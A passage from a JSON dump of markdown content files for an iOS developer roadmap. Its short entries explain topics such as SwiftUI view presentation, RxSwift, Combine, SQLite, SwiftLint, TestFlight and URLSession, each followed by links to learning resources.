    "content": "# Presenting / Dismissing views\n\nSwiftUI offers several methods for presenting and dismissing views, providing flexible options for modal presentations and navigation. Sheets can be presented using the .sheet() modifier, allowing full or partial screen overlays. For alerts and action sheets, .alert() and .actionSheet() modifiers are used. Popovers are created with the .popover() modifier, typically for iPad interfaces. Full-screen covers use the .fullScreenCover() modifier. \n\nTo dismiss these presented views, SwiftUI uses the @Environment(\\.presentationMode) property wrapper, allowing views to dismiss themselves. For navigation-based presentations, NavigationLink handles showing new views, while the .navigationBarItems() modifier can add dismiss functionality. These tools enable developers to create diverse and interactive user interfaces with smooth transitions between different view states.\n\nLearn more from the following resources:\n\n- [@official@sheet(ispresented) Documentation]\n- [@official@dismiss Documentation](https://developer.apple.com/documentation/swiftui/environmentvalues/dismiss)\n(https://developer.apple.com/documentation/swiftui/view/sheet(ispresented:ondismiss:content:))\n- [@article@How to present a new view using sheets](https://www.hackingwithswift.com/quick-start/swiftui/how-to-present-a-new-view-using-sheets)\n- [@article@How to make a view dismiss itself](https://www.hackingwithswift.com/quick-start/swiftui/how-to-make-a-view-dismiss-itself)\n\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/profiling-instruments@Y24WWPej0C7-FiBeXpvl3.md",
    "content": "# Profiling Instruments\n\nProfiling Instruments is a suite of powerful performance analysis tools integrated into Xcode, designed to help iOS developers identify and address performance issues within their applications. Instruments can track various metrics such as CPU usage, memory allocation, disk activity, network usage, and energy consumption in real-time. It offers a visual timeline and detailed data graphs, making it easier to pinpoint bottlenecks, memory leaks, and inefficient code paths. Common instruments include Time Profiler, Allocations, Leaks, and Energy Log. By running these instruments on a simulator or real device, developers gain deep insights into their app's performance, allowing for targeted optimizations and improvements.\n\nLearn more from the following resources:\n\n- [@video@Getting Started with Instruments](https://developer.apple.com/videos/play/wwdc2019/411/)\n- [@article@5 Simple Steps to Find Slow Code Using Xcode Time Profiler](https://swiftsenpai.com/xcode/using-time-profiler/)\n- [@article@An overview of the time profiler in Instruments](https://augmentedcode.io/2021/05/24/an-overview-of-the-time-profiler-in-instruments/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/project-files@YytdlQl41yrHSwlV-G3Pd.md",
    "content": "# Project Files\n\nXcode project files organize and manage the various components of an iOS, macOS, watchOS, or tvOS application. Key elements include:\n\n1. .xcodeproj file: The main project file containing project settings, build configurations, and file references.\n2. Source files: .swift, .h, and .m files containing the application's code.\n3. Resource files: Assets like images, sounds, and data files used by the app.\n4. Interface files: .storyboard and .xib files for designing the user interface.\n5. Info.plist: A property list file containing essential app configuration information.\n6. Entitlements file: Specifies app capabilities and security settings.\n7. Frameworks and libraries: References to system and third-party dependencies.\n8. Build phases and build rules: Scripts and settings that define how the project is compiled.\n9. Scheme files: .xcscheme files defining build, run, and test configurations.\n\nThese files are typically managed through Xcode's Project Navigator, providing a structured environment for developing and organizing complex applications.\n\nLearn more from the following resources:\n\n- [@article@.XCODEPROJ File Extension](https://fileinfo.com/extension/xcodeproj)\n- [@official@Entitlements](https://developer.apple.com/documentation/bundleresources/entitlements)\n- [@official@Managing Your App’s Information Property List](https://developer.apple.com/documentation/bundleresources/information_property_list/managing_your_app_s_information_property_list)"
  },
  {
    "path": "src/data/roadmaps/ios/content/publishers--subscribers@noBaDV_PvCTzqPyw9eO4H.md",
    "content": "# Publishers / Subscribers\n\nThe Combine framework in iOS uses Publishers and Subscribers as core components for reactive programming. Publishers are types that can emit a sequence of values over time, representing sources of asynchronous events or data. Subscribers receive and process these values, defining how to handle the published data. Publishers can emit multiple values, complete successfully, or terminate with an error. Subscribers can receive and react to these events, often updating UI or triggering further operations.\n\nLearn more from the following resources:\n\n- [@article@Combine Publishers & Subscribers](https://www.kodeco.com/books/combine-asynchronous-programming-with-swift/v2.0/chapters/2-publishers-subscribers)\n- [@official@Processing Published Elements with Subscribers](https://developer.apple.com/documentation/combine/processing-published-elements-with-subscribers)\n- [@video@Combine - Publishers and Subscribers Lifecycles and Error Handling](https://www.youtube.com/watch?v=4WQskqNHxhQ)"
  },
  {
    "path": "src/data/roadmaps/ios/content/pushing-presenting@gqd6zjxP_qFj4Ru-6LARo.md",
    "content": "# Pushing Presenting\n\nPushing adds a new view controller to the top of the navigation stack, ideal for hierarchical navigation. It's done using navigationController?.pushViewController(_:animated:), which slides the new view in from the right and adds a back button.\n\nPresenting displays a view controller modally, often covering the entire screen or as a sheet. It's achieved using present(_:animated:completion:), suitable for temporary or standalone content.\n\nLearn more from the following resources:\n\n- [@article@Pushing, Popping, Presenting, & Dismissing ViewControllers](https://medium.com/@felicity.johnson.mail/pushing-popping-dismissing-viewcontrollers-a30e98731df5)\n- [@opensource@presentViewController vs pushViewController](https://github.com/russell-archer/ModalStylesDemo)\n- [@article@UINavigationController.PushViewController](https://learn.microsoft.com/en-us/dotnet/api/uikit.uinavigationcontroller.pushviewcontroller?view=xamarin-ios-sdk-12)"
  },
  {
    "path": "src/data/roadmaps/ios/content/reactive-programming@28HMXXBJWd3n-ZPgeQRDa.md",
    "content": "# Reactive Programming\n\nReactive Programming is a declarative programming paradigm focused on data streams and the propagation of change. It emphasizes the automatic distribution of changes through data flows. Key concepts include observable streams of data, operators to transform and combine streams, and subscribers that react to stream changes. This approach allows for handling asynchronous data flows, managing complex event sequences, and building responsive user interfaces. In iOS development, frameworks like Combine (Apple's native solution) and RxSwift implement reactive principles.\n\nLearn more from the following resources:\n\n- [@article@What is reactive programming?](https://www.baeldung.com/cs/reactive-programming#:~:text=Reactive%20programming%20is%20a%20declarative,or%20reactive%20systems%20in%20general.)\n- [@video@What is reactive programming?](https://www.youtube.com/watch?v=X-DeG_uGFUU)"
  },
  {
    "path": "src/data/roadmaps/ios/content/rest@3Qw-qmy5iAE61mPbIY4Q2.md",
    "content": "# REST\n\nREST (Representational State Transfer) is an architectural style for designing networked applications, widely adopted in iOS development for creating and consuming web services. RESTful APIs use standard HTTP methods to perform operations on resources, typically represented as URLs. In iOS, developers interact with REST APIs using URLSession or higher-level networking libraries. These APIs usually exchange data in JSON format, which integrates well with Swift's Codable protocol for easy serialization and deserialization. REST's stateless nature and use of standard HTTP methods (GET for retrieval, POST for creation, PUT for updates, DELETE for removal) make it intuitive and scalable. When implementing RESTful services in iOS apps, developers focus on endpoint design, proper use of HTTP status codes, and efficient data mapping between API responses and Swift objects. Understanding REST principles helps in creating more maintainable, scalable, and interoperable iOS applications that effectively communicate with backend services.\n\nLearn more from the following resources:\n\n- [@article@REST API Calls in Swift: iOS Networking Architecture](https://matteomanferdini.com/swift-rest-api/)\n- [@article@Sending and recieving Codable data with URLSession and SwiftUI](https://www.hackingwithswift.com/books/ios-swiftui/sending-and-receiving-codable-data-with-urlsession-and-swiftui)"
  },
  {
    "path": "src/data/roadmaps/ios/content/rxswift-with-mvvm@g_1f5a6tIB5V_36NjgtL5.md",
    "content": "# RxSwift with MVVM\n\nRxSwift integrates seamlessly with the MVVM (Model-View-ViewModel) architecture in iOS development. In this combination, ViewModels expose Observable properties that Views can bind to, creating a reactive data flow. Models emit data changes through Observables, which ViewModels transform and expose to Views. This setup allows for clean, declarative bindings between Views and ViewModels, reducing boilerplate code and improving testability. RxSwift's operators facilitate complex data transformations within ViewModels, while its Subjects can handle user inputs.\n\nLearn more from the following resources:\n\n- [@article@How to use RxSwift with MVVM Pattern](https://www.vincit.com/blog/how-to-use-rxswift-with-mvvm-pattern)\n- [@article@Implementing MVVM With RxSwift](https://betterprogramming.pub/ios-mvvm-with-rxswift-part-1-ff9f8102a3c9)\n- [@opensource@MVVM with RxSwift](https://github.com/yokurin/RxSwift-MVVM-iOS)"
  },
  {
    "path": "src/data/roadmaps/ios/content/rxswift@0xwoWj9jek36p1AwU3WkK.md",
    "content": "# RxSwift\n\nRxSwift is a reactive programming library for iOS development, implementing ReactiveX (Rx) principles in Swift. It provides a framework for composing asynchronous and event-based programs using observable sequences. RxSwift facilitates the handling of asynchronous data streams, simplifying tasks like network requests, user interface events, and data binding. It offers a rich set of operators for transforming, combining, and filtering data streams. The library promotes a declarative programming style, reducing complexities in managing state and dependencies. While similar to Apple's Combine framework, RxSwift has broader platform support and a larger ecosystem.\n\nLearn more from the following resources:\n\n- [@opensource@RxSwift Documentation](https://github.com/ReactiveX/RxSwift)\n- [@official@ReactiveX Documentation](https://reactivex.io/intro.html)\n- [@video@RxSwift Basics](https://www.youtube.com/watch?v=ES5RuLSv61g)"
  },
  {
    "path": "src/data/roadmaps/ios/content/schedulers@UqA01PT86_w_JzN6KZBku.md",
    "content": "# Schedulers\n\nRxSwift Schedulers manage the execution context of observable sequences and observers. They determine when and on which thread observables emit items and observers receive them. Key schedulers include MainScheduler (for UI operations), SerialDispatchQueueScheduler (for background serial work), and ConcurrentDispatchQueueScheduler (for concurrent background tasks). Schedulers enable fine-grained control over concurrency, allowing developers to optimize performance and maintain thread safety. They're crucial for operations like offloading heavy computations from the main thread or ensuring UI updates occur on the main thread.\n\nLearn more from the following resources:\n\n- [@official@ReactiveX Scheduler Documentation](https://reactivex.io/documentation/scheduler.html)\n- [@opensource@RxSwift Scheduler Documentation](https://github.com/ReactiveX/RxSwift/blob/main/Documentation/Schedulers.md)\n- [@article@RxSwift Schedulers](https://docs.rxswift.org/rxswift/schedulers)"
  },
  {
    "path": "src/data/roadmaps/ios/content/serializing@8rYjSCgRiJMHTNxOU6vgG.md",
    "content": "# Serializing\n\nSerialization in iOS development involves converting complex data structures or objects into a format that can be easily stored or transmitted, and later reconstructed. This process is crucial for data persistence, network communication, and inter-process data exchange. In Swift, the Codable protocol simplifies serialization, particularly for JSON and property lists. It automatically generates encoding and decoding methods for conforming types, streamlining the process of converting between Swift objects and serialized formats. For custom serialization needs, developers can implement the Encodable and Decodable protocols manually. Beyond JSON, iOS supports serialization to various formats including property lists, binary data, and custom formats. When serializing, it's important to consider data integrity, backwards compatibility for stored data, and performance implications, especially for large datasets. Proper serialization practices ensure efficient data storage and transfer while maintaining the structure and relationships of complex objects in iOS applications.\n\nLearn more from the following resources:\n\n- [@official@Encoding, Decoding and Serialization](https://developer.apple.com/documentation/swift/encoding-decoding-and-serialization)\n- [@official@Codable](https://developer.apple.com/documentation/swift/codable)\n- [@article@Codable Cheat Sheet](https://www.hackingwithswift.com/articles/119/codable-cheat-sheet)"
  },
  {
    "path": "src/data/roadmaps/ios/content/sqlite@3qjQbrCUchJn1bJTBWrQF.md",
    "content": "# SQLite\n\nSQLite in iOS offers a lightweight, serverless, and self-contained relational database engine that's embedded directly into applications. It provides a robust solution for storing and managing structured data without the overhead of a separate database server. SQLite is particularly useful for apps that need to handle complex queries or manage large datasets efficiently. iOS includes built-in support for SQLite, allowing developers to create, read, update, and delete data using SQL queries. While powerful, working directly with SQLite can be verbose and error-prone, leading many developers to use wrapper libraries or higher-level abstractions like Core Data, which uses SQLite as its default persistent store. SQLite excels in scenarios requiring local data storage with relational capabilities, offering a balance between performance and flexibility. However, it requires careful management of database schemas and queries, making it more complex to use than simpler storage options like User Defaults or property lists.\n\nLearn more from the following resources:\n\n- [@official@SQLite website](https://www.sqlite.org/)\n- [@course@SQlite with Swift tutorial](https://www.kodeco.com/6620276-sqlite-with-swift-tutorial-getting-started)\n- [@opensource@stephencelis/SQLite.swift](https://github.com/stephencelis/SQLite.swift)"
  },
  {
    "path": "src/data/roadmaps/ios/content/state-management@RvyOkQelc-GChQGJyEx72.md",
    "content": "# State Management\n\nSwiftUI state management revolves around property wrappers that handle different types of app state. `@State` is used for local view state, `@Binding` for sharing state between views, `@ObservedObject` for external reference type state, `@EnvironmentObject` for dependency injection across the view hierarchy, and `@StateObject` for creating and managing the lifecycle of observed objects. These tools, combined with SwiftUI's declarative syntax, enable reactive UI updates based on state changes. For more complex state management, developers often use architectural patterns like MVVM or libraries such as Combine.\n\nLearn more from the following resources:\n\n- [@official@Managing user interface state](https://developer.apple.com/documentation/swiftui/managing-user-interface-state)\n- [@official@Apple Tutorials: State Management - Making classes observable](https://developer.apple.com/tutorials/app-dev-training/making-classes-observable)\n- [@official@Apple Tutorials: State Management - Responding to events](https://developer.apple.com/tutorials/app-dev-training/responding-to-events)\n- [@official@Apple Tutorials: State Management - Managing state and life cycle](https://developer.apple.com/tutorials/app-dev-training/managing-state-and-life-cycle)\n- [@official@Apple Tutorials: State Management - Updating app data](https://developer.apple.com/tutorials/app-dev-training/updating-app-data)\n- [@article@Advanced: SwiftUI State Management](https://medium.com/@canakyildz/advanced-swiftui-state-management-3816d804477e)\n- [@article@A Guide to Managing State in SwiftUI](https://www.waldo.com/blog/manage-swiftui-state)"
  },
  {
    "path": "src/data/roadmaps/ios/content/static-library@RuXuHQhMt2nywk43LgGeJ.md",
    "content": "# Static Library\n\nStatic libraries in iOS development are collections of compiled code that are linked directly into an app's executable at build time. They contain object code that becomes part of the final application binary, increasing its size but potentially improving load time performance. Static libraries are typically distributed as .a files, often accompanied by header files that define their public interfaces. Using static libraries ensures that all necessary code is available within the app, eliminating runtime dependencies. Static libraries are particularly useful for distributing closed-source code or when aiming to minimize runtime overhead. They offer simplicity in distribution and version management but may require recompilation of the entire app when the library is updated. In iOS development, static libraries are gradually being replaced by more flexible options like dynamic frameworks and XCFrameworks, especially for larger or frequently updated libraries.\n\nLearn more from the following resources:\n\n- [@article@Static Library in iOS](https://swiftpublished.com/article/static-library-in-ios-part1)\n- [@video@ How to Create an XCFramework - Frameworks and Static Libraries ](https://www.youtube.com/watch?v=40EmwraG4-k)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/stepping@hUHxlNa6iJJbDGdFNhynB.md",
    "content": "# Stepping\n\nXcode debugger stepping allows developers to execute code line by line, providing detailed control over program flow during debugging. Key stepping commands include:\n\n1. Step Over: Executes the current line and moves to the next, without entering functions.\n2. Step Into: Enters into the function call on the current line.\n3. Step Out: Completes the current function and returns to the calling line.\n4. Continue: Resumes normal execution until the next breakpoint.\n5. Step Into Instruction: Moves to the next machine instruction (for low-level debugging).\n6. Step Over Instruction: Executes the current machine instruction without entering calls.\n\nThese controls are accessible via the debug toolbar, keyboard shortcuts, or the Debug menu.\n\nLearn more from the following resources:\n\n- [@official@Stepping through code and inspecting variables to isolate bugs](https://developer.apple.com/documentation/xcode/stepping-through-code-and-inspecting-variables-to-isolate-bugs)\n- [@video@Debugging Apps with Xcode 15: Stepping through Code With Breakpoints](https://www.youtube.com/watch?v=u2GoZl7iotg)\n- [@article@Stepping through code](https://www.jetbrains.com/help/rider/Stepping_Through_the_Program.html)"
  },
  {
    "path": "src/data/roadmaps/ios/content/storyboards@a2CqrCJSxGfHq6_Y9f_re.md",
    "content": "# Storyboards\n\nA storyboard is a visual representation of the user interface of an iOS application, showing screens of content and the connections between those screens. A storyboard is composed of a sequence of scenes, each of which represents a view controller and its views; scenes are connected by segue objects, which represent a transition between two view controllers.\n\nXcode provides a visual editor for storyboards, where you can lay out and design the user interface of your application by adding views such as buttons, table views, and text views onto scenes. In addition, a storyboard enables you to connect a view to its controller object, and to manage the transfer of data between view controllers. Using storyboards is the recommended way to design the user interface of your application because they enable you to visualize the appearance and flow of your user interface on one canvas.\n\nLearn more from the following resources:\n\n- [@official@Storyboard](https://developer.apple.com/library/archive/documentation/General/Conceptual/Devpedia-CocoaApp/Storyboard.html)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/subjects@1xYZdnlI6JSJzNvmz4-0v.md",
    "content": "# Subjects\n\nRxSwift Subjects are a special type of Observable that act as both an observer and an observable. They can receive and emit values, serving as a bridge between the imperative and reactive programming paradigms. Subjects allow multiple observers to react to the same source of emitted items. RxSwift provides several types of Subjects, including PublishSubject (emits only new elements), BehaviorSubject (emits the latest element to new subscribers), ReplaySubject (buffers and re-emits a specified number of elements), and Variable (a deprecated wrapper around BehaviorSubject).\n\nLearn more from the following resources:\n\n- [@article@RxSwift Subjects Reference](https://docs.rxswift.org/rxswift/subjects)\n- [@article@RxSwift Subjects](https://medium.com/@jhalekhnish/rxswift-subjects-45f65649aee6)\n- [@official@ReactiveX Subject Documentation](https://reactivex.io/documentation/subject.html)"
  },
  {
    "path": "src/data/roadmaps/ios/content/swift-basics@fboebSmquyJyozsMRJDtK.md",
    "content": "# Swift Basics\n\n\nSwift is a powerful and intuitive programming language for macOS, iOS, watchOS, and tvOS. Writing Swift code is interactive and fun, the syntax is concise yet expressive, and Swift includes modern features developers love. Swift code is safe by design, yet also produces software that runs lightning-fast.\n\nLearn more from the following resources:\n\n- [@official@Tour of Swift](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/guidedtour)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/swift-package-manager@KFkX8_Hv9SCFeCtZMZIQM.md",
    "content": "# Swift Package Manager\nThe Swift Package Manager (SwiftPM) is a tool for managing the distribution of Swift code. It’s integrated with the Swift build system to automate the process of downloading, compiling, and linking dependencies.\nThe Package Manager is included in Swift 3.0 and above.\n\nVisit the following resources to learn more:\n\n- [@official@Swift Package Manager](https://www.swift.org/documentation/package-manager/)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/swift-recommended@KJ7fM-V0_azY_lzmhjJAN.md",
    "content": "# Swift (Recommended)\n\nSwift is a powerful and intuitive programming language developed by Apple for building iOS, macOS, watchOS, and tvOS applications. It combines modern language features like type safety, concise syntax, and performance optimizations, making it easy to write and maintain.\n\nSwift is designed to be safe, fast, and interactive, offering a more productive coding experience compared to Objective-C.\n\nVisit the following resources to learn more:\n\n- [@official@Swift Documentation](https://www.swift.org/documentation/)\n- [@video@Swift in 100 Seconds](https://www.youtube.com/watch?v=nAchMctX4YA)\n- [@feed@Explore top posts about Swift](https://app.daily.dev/tags/swift?ref=roadmapsh)\n- [@course@Programiz - Swift Programming Tutorials](https://www.programiz.com/swift-programming)\n- [@course@HackingWithSwift - 100 Days of Swift](https://www.hackingwithswift.com/100)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/swiftformat@TMFvfwG45Z00PzrzZIVhT.md",
    "content": "# SwiftFormat\n\nSwiftFormat is a powerful command-line tool and Xcode extension designed to automatically format Swift code according to a set of predefined or custom rules. It helps maintain consistent code style across projects and teams by automatically adjusting whitespace, braces, and other formatting details. SwiftFormat can be easily integrated into development workflows, either as a pre-commit hook, as part of a continuous integration process, or directly within Xcode. It supports a wide range of formatting rules, from basic indentation and line wrapping to more complex transformations like organizing import statements and standardizing access control modifiers. The tool is highly configurable, allowing developers to create custom rule sets that align with their team's coding standards. By automating the formatting process, SwiftFormat saves time, reduces code review discussions about style, and helps maintain a clean, readable codebase. Its ability to format entire projects quickly makes it particularly valuable for large-scale Swift applications and teams focused on code quality and consistency.\n\nLearn more from the following resources:\n\n- [@opensource@nicklockwood/SwiftFormat](https://github.com/nicklockwood/SwiftFormat)\n- [@article@SwiftFormat Automation for iOS Apps](https://medium.com/@pranav.kasetti/swiftformat-automation-for-ios-apps-42c91000a9af)\n- [@video@ How to Setup Swift Format on XCode 14 ](https://www.youtube.com/watch?v=S7e_rp_ZRKY)"
  },
  {
    "path": "src/data/roadmaps/ios/content/swiftlint@NnTC3R8goZQTXHmfHKHbM.md",
    "content": "# SwiftLint\r\n\r\nSwiftLint is an open-source tool developed by Realm, that facilitates maintaining standardized code development by enabling the definition and enforcement of project-specific conventions and guidelines. It ensures developers adhere to these standards, thereby promoting organized code practices.\r\n\r\nLearn more from the following resources:\r\n\r\n- [@official@SwiftLint Documentation](https://github.com/realm/SwiftLint)\r\n- [@video@Mastering SwiftLint for Code Readability](https://www.youtube.com/watch?v=4YQ6DJ-xovY)"
  },
  {
    "path": "src/data/roadmaps/ios/content/swiftui@PvFp6aY7EUrYHn87RZAGj.md",
    "content": "# SwiftUI"
  },
  {
    "path": "src/data/roadmaps/ios/content/swiftui@kAIKsDcDzwI1E0wSnC_uo.md",
    "content": "# SwiftUI\n\nSwiftUI is Apple's modern declarative framework for building user interfaces across all Apple platforms. Introduced in 2019, it allows developers to create UIs using Swift code, describing the desired layout and behavior rather than implementing them imperatively. SwiftUI offers a more concise and intuitive approach to UI development, with features like automatic support for Dark Mode, dynamic type, and localization. It uses a state-driven approach, automatically updating the UI when underlying data changes. While newer than UIKit, SwiftUI is rapidly evolving and gaining adoption, offering seamless integration with UIKit when needed.\n\nLearn more from the following resources:\n\n- [@official@SwiftUI Documentation](https://developer.apple.com/xcode/swiftui/)\n- [@official@Apple - SwiftUI Documentation](https://developer.apple.com/documentation/SwiftUI?changes=latest_minor)\n- [@article@Build an iOS app with SwiftUI](https://www.swift.org/getting-started/swiftui/)\n- [@video@WWDC24: SwiftUI essentials | Apple ](https://www.youtube.com/watch?v=HyQgpxX__-A)\n- [@course@HackingWithSwift - 100 Days of SwiftUI](https://www.hackingwithswift.com/100/swiftui)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/tailor@F5796wzm5Ar6sQt-1y8vH.md",
    "content": "# Tailor\n\nTailor is a cross-platform static analysis and lint tool specifically designed for Swift code. It aims to enforce Swift style and conventions, helping developers maintain consistent and clean codebases. Tailor analyzes Swift source files and reports on various style, performance, and maintainability issues. It can detect problems like unused variables, overly complex functions, and violations of naming conventions. The tool is highly configurable, allowing teams to customize rules to match their specific coding standards. Tailor can be integrated into continuous integration pipelines, providing automated code quality checks with each commit. While less popular than some other linting tools like SwiftLint, Tailor offers a straightforward, cross-platform solution for Swift code analysis. Its use can help teams catch potential issues early in the development process, promote best practices, and maintain a more uniform code style across projects.\n\nLearn more from the following resources:\n\n- [@opensource@sleekbyte/tailor](https://github.com/sleekbyte/tailor)\n- [@official@Tailor Website](https://sleekbyte.github.io/tailor/)\n- [@article@Tailor](https://docs.codeclimate.com/docs/tailor)"
  },
  {
    "path": "src/data/roadmaps/ios/content/tca@NhC0SBZgUFGjMLNICvbTI.md",
    "content": "# TCA\n\nThe Composable Architecture (TCA) is a library and architectural pattern for building iOS applications, developed by Point-Free. It emphasizes:\n\n**State management**: All app state is centralized and clearly defined.\n\n**Composability**: Complex features are built from smaller, reusable components.\n\n**Side effect management**: Effects like network calls are handled predictably and testably.\n\n**Testing**: The architecture facilitates comprehensive unit and integration testing.\n\nTCA uses a unidirectional data flow, where state changes trigger actions, which may produce effects and lead to new states. It relies on Swift's value types and function composition to create a predictable and maintainable app structure.\n\nLearn more from the following resources:\n\n- [@opensource@The Composable architecture](https://github.com/pointfreeco/swift-composable-architecture)\n- [@article@The Composable Architecture: Swift guide to TCA](https://medium.com/@dmitrylupich/the-composable-architecture-swift-guide-to-tca-c3bf9b2e86ef)\n- [@video@Shai Mishali - A Newbie's Guide to The Composable Architecture](https://www.youtube.com/watch?v=XWZmgbylTpc)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/test-plan--coverage@uczkyc30K_qqcarZCGTdF.md",
    "content": "# Test Plan & Coverage\n\nA Test Plan in iOS development is a comprehensive document that outlines the strategy, scope, resources, and schedule for testing activities. It defines the objectives, test criteria, deliverables, and the roles and responsibilities of the team members involved. Test Plans ensure systematic testing and help in tracking progress, identifying risks, and managing test activities efficiently.\n\nCoverage refers to the measure of how much of the codebase is exercised by the tests. Xcode provides code coverage tools that highlight the portions of code executed during tests, offering insights into untested parts. Higher code coverage typically indicates more comprehensive testing, but it’s essential to focus on meaningful coverage that validates critical functionality rather than aiming for 100% coverage without ensuring test quality. Balancing extensive unit tests, integration tests, and UI tests helps achieve effective coverage and robust application quality.\n\nLearn more from the following resources:\n\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/testflight@KCJgCjMJGxIcf13XSEclO.md",
    "content": "# TestFlight\n\nTestFlight is Apple's beta testing service for iOS applications, allowing developers to distribute their apps to internal and external testers before the official release on the App Store. Through TestFlight, developers can invite users via email or a public link to test the app and provide feedback. Testers can then download the app directly to their devices using the TestFlight app. Developers can distribute up to 100 internal testers (using iTunes Connect user roles) and up to 10,000 external testers per app. TestFlight provides valuable insights by collecting feedback and crash reports, helping identify issues and improve app quality. It supports testing of multiple builds simultaneously and manages app versioning and expiration, streamlining the beta testing process significantly.\n\nLearn more from the following resources:\n\n- [@official@Beta testing made simple with TestFlight](https://developer.apple.com/testflight/)\n- [@video@Get started with TestFlight](https://developer.apple.com/videos/play/tech-talks/110343/)\n- [@article@What is TestFlight and how to use it](https://vikramios.medium.com/what-is-testflight-how-to-use-it-44dba5d2f263)"
  },
  {
    "path": "src/data/roadmaps/ios/content/toolbar@AxQ5gCjk136kXsbBFTUNp.md",
    "content": "# Toolbar\n\nThe Xcode toolbar is a central control panel located at the top of the Xcode window, providing quick access to key development functions. It includes:\n\n1. Run and Stop buttons for building and executing the app\n2. Scheme menu for selecting the active scheme and target device\n3. Status display showing build progress and errors\n4. Editor segmented control for switching between standard, assistant, and version editors\n5. Workspace configuration buttons for showing/hiding different interface areas\n6. Organizer button for accessing project and device management tools\n7. Activity viewer for background tasks like indexing\n\nThe toolbar's layout can be customized to suit individual developer preferences, allowing for the addition or removal of specific items.\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/ui-design@4fPgpGwNXmVoZoruBRb_B.md",
    "content": "# UI Design\n\nUI Design in iOS development focuses on creating visually appealing and functional user interfaces that adhere to Apple's Human Interface Guidelines. It involves designing layouts, choosing appropriate color schemes, typography, and interactive elements that provide a seamless user experience. iOS designers use tools like Sketch, Figma, or Adobe XD to create mockups and prototypes. Key considerations include maintaining consistency with iOS design patterns, ensuring accessibility, supporting different device sizes and orientations, and implementing intuitive navigation. Effective iOS UI design balances aesthetic appeal with usability, leveraging native UI components and custom designs to create engaging, user-friendly applications that feel at home on Apple devices.\n\nLearn more from the following resources:\n\n- [@article@Design Patterns in iOS](https://shreethaanur.medium.com/design-patterns-in-ios-55d00c2eef4c)\n- [@official@Sketch](https://www.sketch.com/)\n- [@official@Figma](https://www.figma.com/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/uikit@-7OW2IgiMk1eot1PaYd7m.md",
    "content": "# UIKit\n\nUIKit is a fundamental framework for building user interfaces in iOS applications. It provides a comprehensive set of tools and pre-built components for creating and managing graphical interfaces, handling user interactions, and implementing app navigation. UIKit includes essential UI elements like buttons, labels, text fields, and table views, as well as controllers for managing view hierarchies and app structure. It also offers support for touch and gesture recognition, animation, and accessibility features. While SwiftUI is gaining popularity, UIKit remains crucial for iOS development due to its maturity, extensive documentation, and wide range of capabilities for creating polished, responsive user interfaces across Apple's mobile platforms.\n\nLearn more from the following resources: \n\n- [@official@UIKit Documentation](https://developer.apple.com/documentation/uikit)\n- [@article@Build Your First iOS App with UIKit](https://daily.dev/blog/build-your-first-ios-app-with-uikit-beginners-guide)\n- [@video@Introduction to Programmatic UI - UIKit](https://www.youtube.com/watch?v=_U6_l58Cv4E)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/uikit@pNEE5C1E1wAjH_nTlzH6N.md",
    "content": "# UIKit"
  },
  {
    "path": "src/data/roadmaps/ios/content/understanding-and-using-closures@5V7nxQKmmHWSMSBCRxkaF.md",
    "content": "# Understanding and using Closures\n\nClosures in Swift are self-contained blocks of functionality that can be passed around and used in your code. They capture and store references to variables and constants from the surrounding context in which they're defined. Closures can be thought of as anonymous functions, capable of being assigned to variables, passed as arguments to functions, or returned from functions. They are particularly useful for writing compact, inline code for event handlers, completion handlers, and higher-order functions like map, filter, and reduce. Swift's closure syntax is flexible, allowing for shorthand argument names, implicit returns, and trailing closure syntax, which can significantly reduce boilerplate code. Understanding closures is crucial for effective Swift programming, as they are extensively used in iOS SDK and SwiftUI for handling asynchronous operations, callbacks, and reactive programming patterns.\n\nLearn more from the following resources:\n\n- [@article@Swift Closures](https://www.programiz.com/swift-programming/closures)\n- [@article@A guide to closures in Swift](https://medium.com/swiftable/a-guide-to-closures-in-swift-368e6aca6d71)\n- [@article@Introduction to Swift Closures](https://codewithchris.com/introduction-to-swift-closures-in-2023/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/unit--ui-testing@5589B1DKaCd-9l9DfKH3o.md",
    "content": "# Unit & UI Testing\n\nUnit and UI testing are critical components of ensuring the reliability and quality of iOS applications. Unit testing involves writing tests for individual components or functions to verify that they produce the expected results under various conditions, typically using the XCTest framework. These tests are automated, fast, and help catch bugs early in the development cycle. UI testing, on the other hand, involves verifying the app's user interface and user interactions. This can be done using Xcode's UI testing framework, which allows developers to record and write automated tests that simulate user actions like taps, swipes, and text input. Together, unit and UI testing ensure that both the internal logic and the user experience of an app are robust and function correctly as changes are made to the codebase."
  },
  {
    "path": "src/data/roadmaps/ios/content/urlsession@WPJACNeI6jX9GGB1roeTp.md",
    "content": "# URLSession\n\nURLSession is a powerful and flexible API in iOS for handling HTTP and HTTPS network requests. It serves as the foundation for networking tasks in iOS applications, providing a rich set of features for data transfer over the internet. URLSession supports various types of tasks including data tasks for simple requests and responses, download tasks for file transfers, and upload tasks for sending data to servers. It offers both synchronous and asynchronous programming models, with the latter being particularly useful for maintaining responsive UIs during network operations. URLSession handles connection management, authentication, and caching automatically, simplifying complex networking scenarios. It integrates well with Swift's modern concurrency features like async/await, making asynchronous code more readable and maintainable. Developers can configure session behaviors, set up background transfers, and implement robust error handling and retry mechanisms using URLSession, making it a versatile tool for a wide range of networking needs in iOS development.\n\nLearn more from the following resources:\n\n- [@official@Fetching website data into memory](https://developer.apple.com/documentation/foundation/url_loading_system/fetching_website_data_into_memory)\n- [@video@Networking in iOS with URLSession](https://www.youtube.com/watch?v=zvfViYmETuc)\n- [@article@URLSession in Swift](https://janviarora.medium.com/urlsession-in-swift-f0f7348e37d5)"
  },
  {
    "path": "src/data/roadmaps/ios/content/user-defaults@ImS1FqVicQImMw-y1ze7y.md",
